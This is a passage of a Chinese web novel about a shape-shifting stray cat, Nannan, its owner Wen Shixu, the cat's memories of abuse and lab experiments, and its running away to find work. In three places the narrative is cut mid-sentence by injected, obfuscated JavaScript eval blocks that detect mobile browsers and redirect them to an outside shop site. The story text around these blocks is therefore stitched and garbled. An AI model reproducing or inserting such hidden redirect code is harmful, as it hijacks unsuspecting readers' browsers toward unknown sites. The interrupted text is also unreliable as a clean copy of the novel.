没有电视,没有零食,没有小鱼。 但南南很满意。 回去的路上,温时序把车停在了一家蛋糕店门口。 南南努力扒着车窗往外看,鼻尖贴在玻璃上,不明白为什么要在这里停。 几分钟后,温时序提着两个小盒子回来,放进副驾驶。 “顺路买的。”他说,语气很随意。 南南嗅了嗅鼻子,闻到了一股甜甜的香味。 到家之后,温时序把蛋糕盒放在茶几上,一边换鞋一边状似无意地开口:“这是我最喜欢吃的栗子蛋糕。” 南南的耳朵竖了起来。 温时序顿了顿,又补了一句,语气有点刻意:“不过很可惜,只有人可以吃。小猫不可以。” 他强调:“人才可以吃。” 说完,他就转身进了浴室。 都提示得那么明显了,温时序希望南南可以明白他的“良苦用心”。 南南蹲在茶几前,盯着那个蛋糕盒。 人最喜欢吃的。 栗子蛋糕。 它歪着脑袋,想起温时序说这话时候的表情。有点奇怪,好像在说什么别的事情。 南南绕着茶几转了两圈。 它想起今天在湖边,温时序躺在垫子上,手搭在自己背上,呼吸轻轻的,感觉比阳光还温暖。 人真的很好很好。 所以人最喜欢吃的东西,一定也很好很好吃吧? 可是它不能吃,它吃了,温时序就不能吃到自己喜欢的东西。 它不想温时序失望。 南南盯着蛋糕盒,又往浴室的方向看了一眼。水声还在继续。 它忽然跳上沙发,把自己团成一个球,下巴搁在爪子上,盯着那个盒子发呆。 它想记住这个盒子的样子。以后如果有机会,它要记得给温时序买这个。人对他这么好,他也要对人好才行。 不知道过了多久,浴室的水声停了。 温时序擦着头发走出来,头发还滴着水,目光扫过茶几。 蛋糕盒开着,里面的蛋糕一块没少。 他有点惊讶,不死心地说:“买了两块我吃不完呀,好浪费。” 说完马上回书房假装工作,南南眼睛都亮了。 温时序打开监控看见柔光闪过,南南变成人形,吃完了其中一块蛋糕,他才出去。 南南还是团在沙发上,耳朵却往后撇了撇,一副“我什么都没干”的样子。 温时序嘴角压了压,假装没发现,走到茶几旁边,拿起另一块蛋糕咬了一口。 余光里,南南的耳朵动了动。 他若无其事地走过去,在南南旁边坐下,伸手揉了揉它的脑袋。 手指顺势在它嘴边蹭了一下,悄悄抹掉那里沾上的奶油。 南南没发现温时序早就知道了,直愣愣看着他。 人,下次,下次我一定给你买好多好多栗子蛋糕。 10. 南南的过去 温时序对它实在是太纵容了,南南早已彻底摸透了他的脾气。熟悉了周边环境后,每天看腻了电视都会溜出去,踩着他下班的点回家。偶尔还会给温时序带上几朵小花,悄悄放在屋子里某个位置,也藏得不深,怕人找到花都枯萎了。等温时序发现时,又翘着尾巴等待夸奖。 人,花是免费的,但咪对你的爱是无价的。 温时序在监控里总是看不见它,虽然有点失望,但从来没有限制过它的自由,只是出门前检查好南南的小包,往里面塞上足够的现金和之前那个不合适的项圈,一次次叮嘱小猫把包带上。 一个人是留不住一只向往自由的猫咪的,所以温时序只能加倍对它好,好到让它离不开自己。 后来他还是觉得不放心,因为南南除了有猫的好奇,还有人的勇气,脑子天马行空就算了,而且敢想还敢立刻付诸实践。温时序干脆给南南也买了一个手机,绑上自己的副卡。 办理副卡的时候,温时序心里莫名有种很奇异的感觉,好像他和南南的联结和羁绊越来越深。他说不清这份感情到底是什么样的存在,他想,或许只是自己太希望有什么可以真真正正、完完整整地属于他了。 而南南,此刻正是那个恰好的存在。 这几天南南一直惦记着出门。它想去找之前一起流浪的老猫,当初分开得太匆忙,连好好告个别都没来得及。可惜连日暴雨,把它困在屋子里,只能趴在窗边看外面灰蒙蒙的天。今天雨总算停了,虽然乌云还没散,但它已经等不及了。 记忆里很多东西都模糊了,只剩下一些零碎的片段。那时候它还很小,小到路都走不稳,妈妈就不见了。从此天大地大,它只剩下自己。 太小了,所以总是被欺负。翻垃圾桶永远比别的猫慢一步,好不容易找到点吃的,转眼就被其它猫抢走。食不果腹是常事,有时候一整天都找不到一口吃的。也没有猫教它怎么把自己弄干净,身上总是脏兮兮的,偶尔有好心人投喂,都会刻意和它保持距离,嫌它太脏,这让它更加孤立无援。 它就远远地看着那些干净漂亮的猫被人摸头或者被人抱走,然后低下头,继续翻下一个垃圾桶。 那天它饿得头昏眼花,好不容易找到一块面包,刚叼到嘴边,就被几只大猫扑过来抢走了。它被推搡在地上,蜷缩成一团,心想,大概就是要死掉了吧。 然后老猫就出现了。 它不记得那天具体发生了什么,但记得老猫把它们都打跑了。打完架的老猫毛发凌乱,脸上还沾着血,可在它眼里,那就是从天而降的盖世英雄。 其实它是幸运的。以前有老猫护着,现在有温时序。 至于中间发生了什么,它完全不记得了,连为什么会和老猫分开也想不起来。只知道每次试图回忆那段空白,心里就会涌起一股说不清的难受,像被什么东西堵住了一样。 它不要想起来,那些被刻意模糊的过去,一定是很疼的。 它只想赶紧见到老猫,告诉它自己现在过得挺好。温时序是个很好很好的人,它觉得温时序会愿意多养一只猫的。 想到这里,南南的脚步又轻快了些。 穿过熟悉的街头巷尾,回到从前生活的地方。这里没有太多变化,一样凌乱,充满垃圾、苍蝇和乱七八糟的人,平日里阳光都无法穿过这些紧紧贴近的矮楼,阴天就更显得阴森可怖。 它在电视里学会一句话,叫什么“由奢入俭难”。它想,大概就是现在这种感觉吧。以前只考虑怎么活下去,昏暗的地方反而让它觉得安全,好藏身。可现在被温时序养得太好了,再回到这里,竟然会害怕。 正想着,墙角突然蹿出一只流浪猫,它不认识,大概是后面才来的。南南加快脚步往前跑,出门前它特意给老猫带了肉干,就放在包里,那只猫好像闻到了味儿,一直跟在后面追。 为了甩开它,南南拐进另一条巷子。那只猫犹豫了一下,终于没再追上来。 前面传来人声和猫的嚎叫,声音很不对劲,南南小心翼翼地靠近。 然后它愣在原地。 不远处,是它找了很久很久的老猫。旁边站着几个人,正在打它。 有一脚特别用力地踹过去,老猫被狠狠踢飞,重重摔在地上。也是这一下,老猫看见了巷子口的南南。 南南的爪子已经往前迈了一步,准备冲出去。 “喵。”老猫叫了一声,很轻,很虚弱。它看着南南,慢慢地摇了摇头,那双眼睛里写满哀求。那份哀求不是对着那几个打它的人,而是对着南南。 它让南南别出去。 南南看着老猫的眼睛,浑身止不住地抖。它想冲出去,可爪子像被钉在地上,一步都迈不动。天旋地转,周围的一切都变得模糊,耳朵里嗡嗡响,什么声音都听不见。 直到一声惊雷炸响,它才猛然清醒。 那几个人已经走了,没有发现躲在角落的它。 老猫就静静躺在那里,一动不动。 南南走过去,轻轻拱了拱它的身体。 老猫没反应。 它又拱了拱,把头抵在老猫身上,一下,又一下。 老猫还是没反应。 雨开始落下,猛烈冲刷走罪恶的证据。南南的眼睛模糊了,分不清是雨水还是别的什么。它低下头,雨水顺着毛发滴在老猫身上,老猫躺在雨中,显得那么小,那么单薄。 雨越下越大,大到所有人和猫都躲进了屋里。天地间只剩下雨声,和躺在地上的老猫,像又回到只有自己的时候。 南南站在雨里,看着老猫。 忽然间,眼前的一切开始晃动。 也是这样的雨天,这样的巷子,一个模糊的身影挡在它前面,对着什么人发出警告的嘶叫。有人在骂,有东西砸下来,猫被踢开,又扑上去,再被踢开。有人朝它走过来,突然它的眼前就只剩黑暗了。 雷声再次炸响,画面破碎。 “哎!这里有只猫。” 有人穿过雨幕走过来,南南本能地往后缩了缩,等那人走近,它转身跑开了。 跑出几步,它听见身后有人说:“死猫而已,没用,扔了吧。” 它没有回头。 但它听见了垃圾桶盖合上的声音。 很响,很重。 它继续跑,拼命跑过它刚刚走过的每一条路。雨水打在脸上,什么都看不清。它只管跑,一直跑,跑回那个有温时序的家。 熟悉的建筑终于出现在眼前。 温时序站在门口,撑着伞,满脸焦急。看见那个小小的身影浑身湿透地跑过来,他的眉头皱得很深,张嘴想说点什么,可南南直接扑进了他怀里。 所有的脾气都在这一刻消失得一干二净。 南南本来不想弄湿他的。它知道自己浑身是水,知道会把温时序的衣服蹭脏。可是它太冷,太害怕了,迫切地需要一点温暖,迫切到顾不上别的。 它很需要温时序的拥抱。 “怎么了南南?”温时序愣了一下,随即弯腰把它抱起来,大步往屋里走。 南南不吭声,只是一味地往他怀里拱,把湿漉漉的脑袋埋进他的臂弯,爪子紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467745|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧扒着他的衣服。 温时序没再追问。他抱着南南进浴室,轻轻说:“我先给你洗澡好不好?” 南南还是不说话,但扒着他的爪子慢慢松开了。 温时序把它放进盆里,细细地调水温。要是在往常,南南早该在浴室里上蹿下跳,可今天安静得不像话,就那么直愣愣地站着,全程没有半点小动作,任由温时序摆弄。 这种状态一直持续到温时序把它抱上床。 南南缩在床角,一动不动。温时序坐在床边,伸手轻轻摸它的脑袋。过了很久,南南慢慢挪过来,一点一点,最后把身体贴在他腿边,脑袋抵着他的手心。 温时序心里揪得生疼。他把南南抱起来,让它趴在自己胸口,一下一下顺着它的背。 “到底怎么了?”他低声问,声音里满是担心。 南南不回答,只是把脸埋得更深了些。 温时序腾出一只手拿过手机,查了查南南的定位。轨迹很正常,就是它平时爱去的那片老街区,没什么特别的地方。 无奈地叹了口气,他把手机放下,两只手一起抱住怀里的小猫。 “不想说就不说吧。”他轻轻说,下巴抵着南南的脑袋,“我在呢。” 窗外的雨还在下,噼里啪啦打在玻璃上。南南蜷在温时序怀里,听着他的心跳,一下,一下,很稳。 它闭上眼睛,享受着此刻的安稳,慢慢进入梦乡。 南南做了一个梦。 梦里它睁开眼,发现自己到了一个完全陌生的地方。四周封闭,头顶亮着刺眼的白光,照得它眼睛发疼。空气里弥漫着一股腥臭腐败的味道,让它本能地想逃。 可被关在一个狭小的笼子里,逃不了,连活动的空间也寥寥无几。 附近还有很多笼子,一个挨着一个,每个里面都关着猫。有些还在挣扎,有些气若游丝。南南扭头看身边的笼子,里面那只猫侧躺着,眼睛半睁,瞳孔已经散了。 它死了。 我会和它一样吗?南南不知道,它的脑子已经麻木了。 然后它看见,有人走过来,打开对面的笼子,把里面的猫拎出去。那只猫挣扎尖叫着,声音刺得南南耳朵发疼。可那人无动于衷,把它按在一张台子上,然后南南闭上眼睛,把脸埋进爪子里。 可声音关不住。那叫声响亮又凄厉,一声一声往它耳朵里钻。它把爪子捂得更紧,拼命往后缩。 不知道过了多久,声音停了。 再后来,笼子被打开了,手伸进来,准确地抓住它。南南又咬又挠,可那只手怎么都挣不开。 它被按在台子上,四肢被固定住,动弹不得。有什么东西扎进身体里,冰凉的液体涌进来,顺着血管往全身蔓延。 疼。 太疼了。 像是有什么东西在把它从里到外拆开,再把每一根骨头都打断,重新拼凑出扭曲的身体。它想挣扎,可是毫无力气,只能被动承受。 不知过了多久,疼消失了。 它发现自己能站起来了。不是用四条腿,而是用两条陌生的、光裸的腿。它低头看自己,没有毛和爪子了。 跑到角落里,那里有一滩水,它凑过去看。 水里映出一张脸。不是猫,是人。 南南骤然睁开眼睛。 它还在温时序怀里。窗外天还没亮,雨不知道什么时候停的。温时序的呼吸轻轻打在它脸上,还在睡着。 南南没有动。它只是缩了缩身体,把脑袋重新埋进温时序怀里,闭上眼睛。 不是梦。 11. 痛苦和陪伴 不是梦。 所有的恐惧和痛苦都是真实的,像扎在骨头里的刺,日日夜夜、无穷无尽地疼。 南南莫名想起温时序给它讲过的《小美人鱼》,只是小美人鱼经历痛苦是为了爱,而它是被人类毫无理由的恶意困在这里,完全逃不出去。 它见过太多同类死在面前,自己也在昏暗的房间里痛得满地打滚,有时睁着眼睛慢慢不动,想着干脆一了百了。它的心早就磨出茧子,麻木又坚硬,以为自己会一直这样坚硬地活下去,哪怕是死亡也不会让它产生波澜。 直到遇见温时序。 在它主动用鼻尖触碰温时序的鼻尖时,久违地有一种想哭的冲动,像走丢很久终于找到家,又像死而复生,灵魂归位。 虽然现在说这些有点不合时宜,但温时序让南南想起了妈妈。 昨天受到的刺激让它恢复了所有记忆。 妈妈会轻轻舔它的脑袋,用尾巴卷着它睡觉,会教它怎么去觅食生存。那时候它是世界上最幸福的小猫。 温时序感觉到它的动静,没睁眼,只是轻轻拍了拍它的背。 还好它现在也不错,可以算得上世界第二幸福。 南南不敢再闭眼,梦里的画面太清晰,它怕一闭眼又被拖回去,就这样盯着天花板,感受着温时序的温度从旁边传过来。 天亮的时候温时序起床,南南眼巴巴地看着他洗漱。它想让他留下来,但它知道人要工作。温时序已经为它做得够多了,它要乖乖的。 谁知温时序洗漱完,转身把它抱去刷牙。 他声音还带着刚睡醒的沙哑:“不知道你昨天怎么了,不想说我也不逼你,这两天我在家陪你,好不好?” 南南眼睛一下子亮了。 然后眼泪毫无预兆掉了下来。 “怎么了?”温时序搂了搂手边的小猫,但是南南往后躲开,怕眼泪落在温时序身上。 它在走街串巷中听过一个传说,泪是阴水,里面藏着今生委屈和孽债。一旦砸在重要的人身上,就不是泪,而是枷锁。 它不想成为温时序的枷锁。 但温时序没松手,只是把它搂得更紧了些:“你可以试试依赖我,我很厉害的。” 南南把脸埋进他怀里,闷闷地想,人,我知道你很厉害。 我以前也很厉害。可是你知不知道,遇见你之后,我已经变不回那只硬邦邦的小猫了。 都是你的错,你要对咪负责。 温时序见南南情绪缓和下来,存心让它转移注意力。 虽然他不知道具体情况,但是能让一只乐天派小猫难过成这样,肯定是很糟糕的事。他不想追问,也不想让南南一直陷在那些情绪里。 “饿不饿?”他低头问。 南南摇了摇头。 “我饿了。”温时序自顾自地说,“你陪我去做早饭吧,我一个人做饭可无聊了。” 怀里的毛团子动了动,露出一只眼睛看他。 温时序趁机把它抱起来,往厨房走:“今天想吃什么?煎鱼?我记得冰箱里还有虾仁,是专门给你留的……” 南南的耳朵也动了动。 温时序一边打开冰箱,一边絮絮叨叨:“想吃小蛋糕吗?我可以试试做,今天的小猫可以吃好几块。” 南南终于从他臂弯里探出脑袋,眼睛还红着,但已经不像刚才那样湿漉漉的了。 人,说话算话。 其实温时序只会做最普通的家常菜,稍微难一点的都惨不忍睹,更别说蛋糕这种高难度项目了。 可是在南南面前夸下海口,好不容易才把小猫哄得不哭了,只能硬着头皮去搜教程,照着步骤一步一步来。 放面粉时南南忍不住凑上去闻,温时序故意吹一口气,扑得它满脸面粉。南南摸了摸自己,非常嫌弃,急匆匆爬上洗手台,小心翼翼沾水给自己洗脸。它决定今晚洗澡的时候狠狠闹腾一番,泼温时序满身水。 南南午饭吃得少,让温时序以为它难过到胃口都变差了。其实是吃多了人类的饭,南南总觉得猫饭没滋没味的,样式不多,味道也很寡淡,可是温时序就在面前,它没机会变成人找吃的。 当南南还在因为饭不好吃而沉思的时候,温时序也在苦恼,他甚至已经开始调老城区那一片的监控了。不过那里基础设施老化,再加上治安混乱,根本查不出什么重要线索。 直到南南磨磨蹭蹭吃完饭,过来挠温时序的手背,他才回过神来,叹了口气。他打算再等等,不信小猫能憋得住太久。 外面的雨很大,砸在窗上响个不停。出门不方便,温时序问南南有没有想做的事。南南蹭地跳上沙发,用爪子点了点遥控。 好吧,让电视瘾很重的小猫来做选择,这样的结果也没多意外。 温时序靠在沙发上,手指有一搭没一搭地梳理着南南的毛。他知道南南正在看的电视剧是什么,很古早的爱情片,放在十年前看这个高低也能被人夸一句“有品”,但他不爱看。小时候被姐姐拉着看过,至今还记得剧情,几句话可以解释清楚的事情,硬生生拖了大段。倒是南南看得津津有味,视线一点都不舍得分给旁边的他。 电视里主角还纠结着自己爱的人有多爱自己,能不能永远爱自己。反派端着咖啡,语气嘲讽道:“你要有价值才有分量。” 南南的后背突然挺直僵住。 价值吗?它对温时序而言有价值吗? 温时序的手顿了顿,低头看了一眼。坐在腿边的小猫耳朵高高竖起,尾巴尖慢慢旋转着,像是听见什么不得了的大事。 电视里的人继续补充:“最直观可以看出差别的,就是金钱啊,没钱你连自己的生活都过不好,有什么资格谈情说爱,凭什么要别人跟你耗着?” 南南的耳朵往后压了压,表情越来越凝重。 它没有钱,还一直在花温时序的钱。 温时序想起自己好吃好喝供着南南,又买手机又给现金的,偶尔半夜还被这个小祖宗踩醒要吃的,忍不住笑了下。 其实他挺心甘情愿的,而且对他来说这点钱毫无负担。 但南南却误解了他的意思,以为他笑是出于认同。眼睛还盯着电视,但注意力已经不在了,尾巴默默缩回去把自己蜷缩起来。 看着更低落的南南,温时序觉得这样的话对小猫来说,太直白太现实了。小猫当然可以没钱也得到他全部的爱。 温时序张了张嘴,准备说点什么。南南比他更快一步扭开脸。 “南南。” 小猫没回头。 温时序又闭上了嘴。 他该说什么? 你不一样,你的存在就是价值?这也太肉麻了,说出来他自己都起鸡皮疙瘩。 电视里都是瞎编的你别信?那等于承认自己一直在偷看小猫的反应,更奇怪。 而且南南会信吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467746|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他想把南南捞起来,抱进怀里,用下巴蹭蹭它的脑袋,告诉它别听那些有的没的。 但他没动。 因为南南看起来正在想事情,很认真地在想。 在想自己有没有用吗?在想会不会有一天我觉得养他不值吗? 温时序不知道。 他也无法解释清楚,就算南南什么都不会、什么都不做,每天只是躺在沙发上睡觉,或者给他捣乱折腾些什么出来,他也觉得有这只小猫在身边,比什么都强。 雨还在下。 电视里换了场景,男女主角终于见面了,抱在一起互诉衷肠。 南南的注意力被拉回去一点,但身体还缩着,没有像之前那样舒展开。 温时序慢慢伸出手,轻轻放在它背上。 南南抖了抖,没躲。 温时序声音不大,谈论着电视剧,却每句话里都在安慰:“电视里的人什么都不懂,猫和人不一样,他们连猫都没养过。你是我唯一的、最爱的小猫。” 南南抬头看他,眨眨眼睛,温时序也眨眨眼睛。 然后南南把脑袋转回去,继续看电视,但尾巴尖不知道什么时候又搭回了温时序手上。 唯一吗?最爱吗? 很动听的承诺,而南南也愿意去相信。 人,你也是咪的最爱,咪的唯一。 处理了一大烦心事,南南又满意地趴下。 温时序突然想起还没吃的蛋糕,拍了拍南南的背:“等着。” 他实在处理不好奶油,端着刚刚烤好的蛋糕坯出来,看起来比上次买的栗子蛋糕差多了。不过南南还是很给面子地吃着,它现在终于理解为什么说吃蛋糕会感到幸福了,因为蛋糕来自重要的人啊。 南南吃得很认真,以至于没有注意到电视里男女主的感情又迈向低谷,哭喊着任何承诺都会被轻易收回。 今晚南南依然失眠着,想妈妈,想老猫,想温时序。 它感觉自己的思想开始蜕变。 像小时候还能躲在墙缝里,后来墙缝越来越大,最后整个塌了,它不得不跑出去,跑到一个更大的地方。 它心里那堵墙,也在塌,塌得迅速又彻底,让它措手不及。 它一直在想温时序。 想温时序的手摸在背上的感觉,想温时序抱着它说:你是我唯一的、最爱的小猫。 它不知道这样对不对,可是它控制不住。 因为它发现,原来这是“被爱着”的感觉,被另一个人重新填满了。 老猫以前说得不对。它说,人类啊,不能太信,也不能不信。 那时候南南听不懂,现在它听懂了。老猫的意思是,要留一条后路,要保护自己,不要把心全交出去。 可是心这种东西,交出去的时候自己都不知道。 等你发现的时候,已经收不回来了。 南南轻轻凑过去,在温时序的鼻尖上碰了碰。 它还是失眠,但它不难受了。 妈妈,我遇见了一个人。 他和我们见过的人都不一样,从来没有打我,对我很好。 他给我吃蛋糕,给我买虾仁,给我刷牙洗澡,给我讲小美人鱼的故事。他说我是他唯一的、最爱的小猫。 他让我觉得,活着真好。 妈妈,我以前不知道,原来心碎了还能再长好。 原来长好了的心,可以跳得更响。 12. 出走 南南的本能驱使它待在舒适区里,每天窝在家里的状态让温时序很担心。从前总怕它到处乱跑,现在却得哄着它出门,哪怕只是晒晒太阳也好。可南南非常抗拒,一旦温时序试图带它出去,它就东躲西藏。 看着南南油盐不进的样子,温时序实在拿它没办法。他本来想多陪它一段时间,等它状态好点再工作,谁知没几天就被南南早早弄醒了。他以为南南终于愿意出门,匆匆换好衣服,却被猫一路拱出房间,最后还不忘努努嘴,提醒他带上电脑。 “你赶我去上班吗?”温时序蹲下来看着南南。 “喵。”南南毫不回避地与他对视。 温时序敲了敲它的头:“小没良心的,我这是关心你,知道吗?” 咪知道,咪一只猫自己可以的。 南南没理会他的劝说。 直到抱着电脑站在门口,温时序还没反应过来。他竟然真的被南南赶出门了,到底谁才是这个家的主人? 不过有些任务也确实积了好几天,他本就打算找个时间回去开会了。现在这样正好,还能让南南自己冷静一下。 一切又恢复了原样,仿佛那天南南的崩溃从未发生过。 如果非要说有什么不同,大概是南南变得更粘人了。只要温时序在家,它就像亦步亦趋地跟着。如果不是温时序强烈拒绝,它大概还想跟着进浴室。 现在要摸要抱都无比配合,温时序的心都快化了。 有时他坐在沙发上看电脑,南南就自觉窝进他怀里,脑袋蹭着他手心,非要他边工作边撸才满意。偶尔温时序低头看它,总能对上那双目不转睛的眼睛,正安安静静地望着他,像是在确认他还在。 日子就这样一天天过去,南南的胃口越来越好,精神状态也越来越放松。温时序能感觉到,一人一猫之间,有什么东西变得更深了。 那不只是亲近,还有一种无须言语的依赖。 直到某天林见溪抱来另一只猫,哭爹喊娘地求温时序帮他照顾几天,说自己要出国追爱了。 温时序为难地看看南南,又看看那只猫:“你找别人不行吗?” “你以为我没找过?”林见溪这两天跑了好几个朋友家都托付失败,急得团团转,“我家猫除了我和他,顶多加一个你,谁都不搭理。带去别人家,刚放地上就开始闹。” 再不走,他怕徐知榆又要跑到不知道哪里去了。 “我带它几天,可以吗?”温时序耐心地征求南南的意见。 之前给南南买的猫粮和罐头都没吃过,他不介意多照顾一只猫,但他怕南南会觉得委屈。 南南知道林见溪是温时序的好朋友,尽管心里有些不情愿,犹豫了一会儿,还是点了点头。 “你家小猫真的太懂事了。”林见溪由衷地夸了一句。 南南听得抬起头,尾巴骄傲地晃了晃。 还行吧,咪一向大度。 于是家里多了一只猫。 那只猫比南南更粘人,更会撒娇,也更娇气一些。无论温时序怎么努力一碗水端平,或者更刻意对它好,南南还是渐渐感到了落差。不久前温时序的承诺还清晰刻在脑海里,可温时序好像已经忘了。 一个人的世界可以装下很多人、很多事,可一只猫的世界里,只有一个人。 它的世界只有温时序。 如果我也是人,那我是不是也能成为那个真正独一无二的存在? 这是南南第一次生出“成为人”的念头。不是时不时变成人形随便体验一下,而是实实在在的,以人的身份在这个社会生存下去,留在温时序身边。 它记得电视里说过:要有价值,才有分量。 它想做一个对温时序而言有分量和有意义的人,而不是一味依赖他,让他照顾自己。 或许它应该出去赚钱了,这样也不至于计划买栗子蛋糕给温时序时,永远只能想想。 可它还是很舍不得。出去的话,不知道什么时候才能回来,不知道什么时候才能再见到温时序。 直到林见溪的猫跑了。 好友的猫不见了,温时序急得团团转,连晚饭都没来得及准备,扔下一句:“南南你先自己找点吃的吧。” 然后就冲出了门。 南南蹲在窗台上,看着他的身影消失在远方。 天一点点黑下来,它没有开灯,就那么安静地坐着,在心里计划着离开的日期。 几天后,它听见林见溪打来电话。电话那头的声音听起来很兴奋,说他去找的人虽然还没完全原谅他,但愿意跟他一起回国了。 南南没太理解,没原谅为什么还愿意一起回来?不过它抓住了重点。 林见溪准备把猫接走了。 正好,它也走。这样就不会再有别的猫打扰温时序了。 收拾包袱那天是个艳阳天。 它只带走了温时序送的小包,包里装着剩下不多的钱,两套温时序的衣服,再有的,不过就是几块肉干。温时序说过,这种天气出门连心情都会变好,可今天的阳光好像晒不透它发霉的心了。 临走前,它在温时序的枕头旁留下一张纸条。 歪歪扭扭的一行字,是它特意学了很久才学会写的: 咪要出去闯世界了,赚大钱养你! 字丑情真,上面是它要养温时序的决心。 温时序刚把林见溪的猫还回去,他回屋习惯性地喊了一声:“南南?” 没猫搭理他。 他又喊了两声,屋里静悄悄的,连猫的影子都没有。 温时序愣了一下,随即忍不住笑了,对于南南终于愿意出门而感到欣慰。之前它死活不肯离开家半步,他哄了多少回都没用,现在能自己出去散心,倒是件好事。 他高兴地想,等会儿南南回来,要给它买很多好吃的。 换鞋的时候,余光扫到玄关柜上放着的东西,动作顿住了。 是南南的手机。 温时序皱起眉,怎么连手机都忘了带? 他也没多想,拿着手机往卧室走,打算换身衣服。要是南南过会儿还不回来,他就出去找找。 推开卧室门的那一刻,他立刻注意到枕头上的那张纸条。 “咪要出去闯世界了,赚大钱养你!” 温时序愣在原地,三两眼看完全部内容,脑子里“嗡”的一声,一片空白。 他的猫呢? 他的猫跑了? 他攥着纸条冲出卧室,把家里每个角落都仔仔细细翻了一遍,哪里都没有南南。 他强迫自己冷静下来,打开南南的手机,翻出它曾经去过的地方。那些定位点稀稀落落,隔的距离不远。 他挨个去找,什么都没找到。 夜越来越深,温时序一条街一条街地走,看到有流浪猫聚集的地方就停下来,蹲着喊南南的名字。喊到嗓子发哑,也没有一声熟悉的回应他。 他不知道自己绕了多久。天边泛起鱼肚白的时候,才拖着两条发软的腿回到家。 屋里还是空的。 温时序在床边坐下,盯着那张纸条看了很久,揉了揉眼,眼睛又干又涩。 他开始拼命回忆,南南是什么时候打算离开的。 是那只猫来家里之后吗?是它开始变得安静的那几天吗?还是更早? 他越想越懊恼,南南表现得太正常了,正常到他什么都没发现,还以为一切都好好的。 可它心里在想什么,他一点都不知道。 是不是自己忽略了它?它觉得委屈了? 这些问题像钝刀子一样,一下一下割着他。 现在想这些有什么用呢? 他盯着手机屏幕,翻来覆去地看着那几个固定地点。除此之外,他竟然完全不知道南南有可能去什么地方。 它只是一只猫。 一只小小的、从来没有独自出过远门的猫。 它能去哪里? 温时序把脸埋进掌心,强撑了一夜的肩膀塌下去。他确实像别人说的那样,什么都留不住。 他找不到它了。 出走的南南找了一处桥洞安身。 地方不大,没什么人会注意到这里,它窝在下面,安安静静地嚼着肉干。 肉干是温时序给它买的,一直舍不得吃完。 正吃着,旁边传来窸窸窣窣的动静,几只流浪猫探头探脑地往这里看,明显是冲着肉干来的。 流浪猫试探着往前走了两步,发出威胁的低吼。 南南仗着这里没人看见,干脆变成人形,往地上用力跺了一脚。 那几只猫瞪大眼睛,毛都炸开了,一哄而散。 南南重新坐回去,它决定好了,明天就去找工作。 温时序可以养它,那它也可以养温时序! 第二天一早,南南穿上温时序的衣服,揣着剩下的钱在附近乱逛。 他认识的字不多,连招聘启事都读不太全。那些写着什么“助理”“熟练办公软件”的,看一眼就走。 他连办公软件是什么都不知道。 在一家奶茶店门口,看见一块告示牌,要招兼职员工,有意者面议。 兼职是什么?南南不太懂。但还是推门进去了,反正碰碰运气。 店长是个二十多岁的年轻人,上下打量他一眼,问了几句基本情况。出门在外,身份是自己给的。南南把从电视剧里学来的词儿全用上了,什么能吃苦、学习能力强、保证准时到岗,说了个遍,说的时候眼睛都不眨一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467747|201318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店长点点头,看起来挺满意。 “行,这几天你去办好健康证就可以来上班了,记得身份证也带上。” 啊? 南南愣住了。 健康证是什么?身份证他倒是知道,但是没有。 他沉默得太久,店长的眼神开始变得狐疑,又打量了南南一遍,后知后觉地发现面前这人看着有点小。 “你成年了吗?” “成年了!”南南回答得飞快。 猫龄一岁零一个月,确实是成年猫。 店长将信将疑地看着他:“那你准备好证件就行。先说好啊,没有证件,没有店会收你的。” 南南从奶茶店出来,蔫蔫地往前走。 后来又去了几家餐饮店,可所有人的回复都差不多。 他什么都没有。 天黑下来的时候,南南蹲在路边,把脑袋埋进膝盖里。觉得自己太冲动了,什么都没准备好,就凭着一腔热切往外跑。他以为有决心就够了,只要想养温时序就能养,可现在连一份端盘子的工作都找不到。 可那是他唯一能拿得出手的东西了。 他对温时序的喜欢,想留在温时序身边的决心,已经是全部的家当。 如果连这些都不够,那他还有什么? 南南抬起头,看着街上人来人往。 总不能就这样灰溜溜回去吧?那不是胡闹吗? 就在这时,他注意到街角有人在发传单。 那地方有点偏,路过的人都不怎么往那边看。发传单的是个中年男人,正扯着嗓子喊:“招人招人!没经验也行,包吃包住。” 南南的脚步停住了。 包吃住? 他凑过去,男人立刻堆起笑脸,把传单塞到他手里:“小伙子找工作啊?来来来,看看我们公司!前景好、待遇高……” 男人嘴皮子利索得很,把这间公司吹得天花乱坠。他听得云里雾里,只抓住了一个重点:“没有证件也可以吗?” 男人拍着胸脯保证:“可以啊,我们这行不看那个,看能力。” “那……包住宿是真的吗?” “当然是真的,你今晚就住进去。”男人笑咪咪说着,满脸算计,可是南南看不出来。 南南眼睛亮了,并且当即决定,就去这里了。 丝毫没意识到,没有正经的公司是这样招人的。 